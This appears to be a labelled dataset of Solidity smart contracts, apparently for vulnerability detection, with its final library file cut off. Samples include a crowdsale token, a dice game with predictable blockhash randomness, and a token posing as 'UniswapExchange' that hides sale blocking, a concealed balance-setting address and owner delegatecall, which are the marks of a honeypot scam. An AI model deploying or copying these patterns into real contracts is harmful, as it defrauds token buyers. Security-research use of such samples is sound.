source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableToken {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken, OwnableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PointToken is OwnableToken, BurnableToken, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public paused = true;
mapping(address => bool) public whitelist;
modifier whenNotPaused() {
require(!paused || whitelist[msg.sender]);
_;
}
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals));
addToWhitelist(holder);
addToWhitelist(buffer);
}
function unpause() public onlyOwner {
paused = false;
}
function pause() public onlyOwner {
paused = true;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function removeFromWhitelist(address addr) public onlyOwner {
whitelist[addr] = false;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract PointCrowdsale is CappedCrowdsale, RefundableCrowdsale {
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
{
require(_goal <= _cap);
}
} | 1 | 2,620 |
pragma solidity ^0.5.1;
contract X3ProfitMainFundTransferV3 {
uint public constant maxBalance = 340282366920938463463374607431768211456 wei;
address payable public constant ADDRESS_EIFP2_CONTRACT = 0xf85D337017D9e6600a433c5036E0D18EdD0380f3;
function () external payable {
if(msg.value == 0 || msg.data.length > 0){
if(ADDRESS_EIFP2_CONTRACT.balance > maxBalance)
{
msg.sender.transfer(address(this).balance);
return;
}
ADDRESS_EIFP2_CONTRACT.call.value(address(this).balance)("");
}
}
} | 0 | 195 |
pragma solidity ^0.4.23;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 100;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
address public owner;
address public bankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
address ZethrBankroll;
constructor (address zthtknaddr, address zthbankrolladdr) public {
owner = msg.sender;
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
ZethrBankroll = zthbankrolladdr;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(10000);
ownerSetMinBet(1e18);
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
bankroll = zthbankrolladdr;
}
function() public payable {}
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (101 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
event Debug(uint a, string b);
struct playerRoll{
uint200 tokenValue;
uint48 blockn;
uint8 rollUnder;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 48) - 1));
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
roll.blockn = uint40(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
}
function finishBet() public
gameIsActive
{
_finishBet(true, msg.sender);
}
function _finishBet(bool delete_it, address target) private {
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(100, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit();
if (delete_it){
delete playerRolls[target];
}
ZTHTKN.transfer(target, profit + roll.tokenValue);
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
contractBalance = contractBalance.add(roll.tokenValue);
setMaxProfit();
}
}
struct TKN {address sender; uint value;}
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
if (_from == bankroll) {
contractBalance = contractBalance.add(_value);
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint chosenNumber = uint(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
require(newMaxProfitAsPercent <= 10000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
contractBalance = contractBalance.sub(amount);
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(bankroll, 0);
bankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,981 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,297 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Airdrop is Ownable {
event Drop();
ERC20Basic public token;
constructor(address _token) public {
require(_token != address(0));
token = ERC20Basic(_token);
}
function airdrop(address[] _recipients, uint256 amountEach) external onlyOwner {
for (uint i=0; i < _recipients.length; i++) {
token.transfer(_recipients[i], amountEach);
}
emit Drop();
}
function withdrawRemaining(address _recipient) public onlyOwner {
token.transfer(_recipient, token.balanceOf(this));
}
} | 1 | 3,288 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >= 0.4.22 < 0.5;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
